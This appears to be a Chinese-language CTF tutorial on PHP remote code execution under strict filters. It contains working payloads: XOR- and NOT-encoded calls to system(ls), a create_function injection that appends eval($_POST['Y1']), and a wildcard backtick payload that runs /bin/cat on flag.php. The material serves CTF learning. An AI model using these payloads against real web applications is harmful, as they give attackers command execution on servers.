苛刻条件RCE

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(preg_match("/[a-z0-9]+/i",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

在上述代码中,对传入参数“code”进行了严格的过滤,参数中不能出现字母和数字(含大小写)

可以使用PHP中的位运算来对参数进行异或处理

<?php
$a = "<str>";	//要异或的字符串

for($i = 0; $i < strlen($a); $i++){
    echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for($i = 0; $i < strlen($a); $i++){
    echo "%ff";
}
?>

通过以上代码将"system(ls)"运算为

(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%93%8c^%ff%ff);

GET:

http://localhost/test.php?code=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%93%8c^%ff%ff);

同理,通过取反也可以达到相同效果

<?php
$a = "<str>";	//要取反的字符串
echo "~(";
for($i = 0;$i < strlen($a); $i++){
    echo "%".bin2hex(~$a[$i]);
}
echo ")";
?>
http://localhost/test.php?code=(~(%8c%86%8c%8b%9a%92))(~(%93%8c));

Create_Function

create_function()函数有两个参数argsargs和code,用于创建一个lambda样式的函数

<?php
error_reporting(0);
$f = create_function('$a, $b', 'return($a + $b);');
echo $f(1,2);
// 3

但是在创建函数的过程中存在一个代码注入

$code = "return($a + $b);}eval($_POST['Y1']);//"
$f = create_function('$a, $b', $code);

相当于得到

function f($a, $b){
	return($a + $b);
}
eval($POSY['Y1']);//}

在注入的过程中,先使用 } 闭合函数体,在写入注入自己的代码,由于末尾多出一个 } 所以使用注释符注释掉

例题

<?php
error_reporting(0);
//flag.php
if(Isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code) > 18){
        die("No,1");
    }
    if(preg_match("/\w/",$code)){
        die("NO,2");
    }
    if(preg_match("/&||\||\^|\~|\!/",$code)){
        die("NO,3");
    }
    if(preg_match("/\(|\)/",$code)){
        die("NO,4");
    }
    if(preg_match("/|{|\}|\[|\]/",$code)){
        die("NO,5");
    }
    if(preg_match("/||$|@|\./",$code)){
        die("NO,6");
    }
    eval($code);
}else{
    show_source(__FILE__);
}
?>

GET:

http://localhost/test.php?code=?><?=`/???/???%20*`;

"?>" 表示PHP的结束符,而“<?=”表示下一个PHP的开始“=”表示echo回显,反引号表示shell__exec()

?表示单个长度的字符,*表示所有字符,能够匹配到的路径为“/bin/cat *”

echo shell_exec("/???/??? *")		// /bin/cat flag.php